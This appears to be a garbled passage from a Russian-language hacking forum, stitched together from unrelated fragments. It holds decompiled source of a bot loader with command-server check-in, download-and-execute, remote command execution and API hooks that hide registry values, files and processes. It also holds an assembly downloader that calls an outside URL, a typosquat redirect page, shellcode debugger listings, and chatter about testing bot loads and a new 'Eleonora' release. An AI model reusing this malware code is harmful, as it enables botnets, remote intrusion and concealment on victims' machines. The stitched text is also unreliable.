)
Жаль.
drop_file_2_system();
ExpandEnvironmentStringsA("%USERPROFILE%\\pizda_ftp.dll", g_ftp_dll_path, 0xFFu);
ExpandEnvironmentStringsA("%USERPROFILE%\\pizda_ntload.dll", g_ntload_dll_path, 0xFFu);
drop_ntload(v8);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)load_hooker_dll_n_start, 0, 0, &ThreadId);
lpString1 = (LPSTR)malloc(0x64u);
lstrcpyA(lpString1, "leeman_loh");
get_bot_type();
ExpandEnvironmentStringsA("%USERPROFILE%\\pizda_bkurl.dat", g_bkurl_path, 0xFFu); get_full_windows_name((int)&v14);
v10 = g_bot_type();
VerLanguageNameA(v10, &Dst, 0xFFu);
lstrcpyA(g_url_buffer, "id=");
v11 = num2str_with_alloc(g_bid);
lstrcatA(g_url_buffer, (LPCSTR)v11);
lstrcatA(g_url_buffer, "&v=");
lstrcatA(g_url_buffer, dword_40BEA4);
lstrcatA(g_url_buffer, "&wv=");
v9 = lpString;
v12 = urlencode(lpString);
lstrcatA(g_url_buffer, (LPCSTR)v12);
lstrcatA(g_url_buffer, "&lang=");
v13 = urlencode(&Dst);
lstrcatA(g_url_buffer, (LPCSTR)v13);
lstrcatA(g_url_buffer, "&f[]=loader");
lstrcatA(g_url_buffer, "&f[]=dll");
lstrcatA(g_url_buffer, "&f[]=file_hook");
lstrcatA(g_url_buffer, "&f[]=reg_hook");
lstrcatA(g_url_buffer, "&f[]=exec"); if ( find_alive_server() )
{
v4 = knok_knok(g_url_buffer, (int)String1, (int)lpString1);
v5 = 0;
if ( !v4 )
goto LABEL_21;
for ( i = v4;; i += lstrlenA(v8) + 1 )
{
v7 = str_explode((int)L"\n", i);
v8 = v7;
if ( !v7 )
break;
if ( *v7 == 'h' )
download_n_exec(v7);
if ( *v8 == 'e' )
cmd_exec((int)v8);
if ( *v8 == 'b' )
add_cnc_url((int)v8);
if ( *v8 == 'd' )
{
if ( v8[1] == 'e' )
mb_sleep((int)v8);
}
if ( *v8 == 'c' )
{
if ( v8[1] == 'r' )
{
if ( v8[2] == ':' )
ahez(v8 + 3);
}
}
}
} if ( SetWindowsHookExA(4, fn, hmod, 0) )
{
while ( GetMessageA(&Msg, 0, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageA(&Msg);
}
} rc4_decrypt_with_alloc((int)&v3, (int)&unk_10004770, 0xCu);// advapi32.dll
v0 = GetModuleHandleA(lpLibFileName);
g_advapi = v0;
if ( !v0 )
{
v0 = LoadLibraryA(lpLibFileName);
g_advapi = v0;
}
hook(v0, szRegDeleteValueA, (int)handler_RegDeleteValueA, (int)&real_RegDeleteValueA);
hook(g_advapi, szRegDeleteValueW, (int)handler_RegDeleteValueW, (int)&real_RegDeleteValueW);
hook(g_advapi, szRegQueryValueExA, (int)handler_RegQueryValueExA, (int)&real_RegQueryValueExA);
hook(g_advapi, szRegQueryValueExW, (int)handler_RegQueryValueExW, (int)&real_RegQueryValueExW);
rc4_decrypt_with_alloc((int)&v5, (int)&unk_100043E0, 0xCu);// kernel32.dll
g_kernel32 = GetModuleHandleA(lpModuleName);
if ( !g_kernel32 )
g_advapi = LoadLibraryA(lpModuleName);
hook(g_kernel32, szFindNextFileA, (int)handler_FindNextFileA, (int)&real_FindNextFileA);
hook(g_kernel32, szFindNextFileW, (int)handler_FindNextFileW, (int)&real_FindNextFileW);
hook(g_kernel32, szTerminateProcess, (int)handler_TerminateProcess, (int)&real_TerminateProcess);
rc4_decrypt_with_alloc((int)&v1, (int)&unk_100047A8, 9u);// ntdll.dll
if ( !dword_100069D4 )
g_ntdll = LoadLibraryA(v2);
hook(g_ntdll, szNtDeviceIoControlFile, (int)handler_NtDeviceIoControlFile, (int)&real_NtDeviceIoControlFile);.386
.model flat, stdcall
option casemap :none
include windows.inc
include urlmon.inc
include kernel32.inc
includelib urlmon.lib
includelib kernel32.lib
.code
url db "http://gate.com/",0
Main proc
invoke URLDownloadToFile,0,addr url,0,0,0
invoke ExitProcess,0
Main endp
end Main<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<script language="JavaScript1.1" type="text/javascript">
<!--
location.replace("http://gogle.com");
//-->
</script>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-2266865-12']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<noscript>
<meta http-equiv="Refresh" content="0; URL=http://gogle.com">
</noscript>
</head>
<body>
Redirecting to server...
</body>
</html>
00401017 |> /70 00 /JO SHORT 00401019
00401019 |> |81748B FC 2D8 |XOR DWORD PTR DS:[ECX*4+EBX-4],1838832D
00401021 |. |74 00 |JE SHORT 00401023
00401023 |> |83E9 01 |SUB ECX,1
00401026 |.^\75 EF \JNE SHORT 00401017
00401028 |. 83E1 FF AND ECX,FFFFFFFF
0040102B |. FFD3 CALL EBX00401055 8D7D 0A LEA EDI,[EBP+0A]
00401058 B9 19000000 MOV ECX,19
0040105D F3:AA REP STOS BYTE PTR ES:[EDI]
0040105F 6200 BOUND EAX,QWORD PTR DS:[EAX]
00401061 0000 ADD BYTE PTR DS:[EAX],AL
00401063 C031 C0 SAL BYTE PTR DS:[ECX],0C0 ; Shift out of range
00401066 4F DEC EDI
00401067 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18]00401066 64:8B40 18 MOV EAX,DWORD PTR FS:[EAX+18];TEB
0040106A 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
0040106D 8B40 0C MOV EAX,DWORD PTR DS:[EAX+0C]0040105F 83ED 07 SUB EBP,7
00401062 31C0 XOR EAX,EAX
00401064 31C0 XOR EAX,EAX
00401066 64:8B40 18 MOV EAX,DWORD PTR FS:[EAX+18]
0040106A 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
0040106D 8B40 0C MOV EAX,DWORD PTR DS:[EAX+0C]00401110 FF95 F8090 CALL DWORD PTR SS:[EBP+9F8];CreateProcess
00401116 6A 00 PUSH 0
00401118 68 BD06000 PUSH 6BD
0040111D 6A 00 PUSH 0
0040111F 6A 40 PUSH 40
00401121 6A 00 PUSH 0
00401123 6A FF PUSH -1
00401125 FF95 F4090 CALL DWORD PTR SS:[EBP+9F4]А так же хочу, по-случаю, всем сообщить что на подходе новая версия Элеоноры.
Ты поддерживал и меня и наших общих знакомых в самые трудные минуты, несмотря на твои собственные трудности в реалке! Но я очень благодарен тебе. Я с удовольствием поучаствую и дальше в самых разнообразных тестах на отстуки, прогрузы и т.д. Вы вдвоем с TrueUser негласные наши супермоды. СПАСИБО! (если захотите - выдам модеров в любом разделе! Только дайте знать)
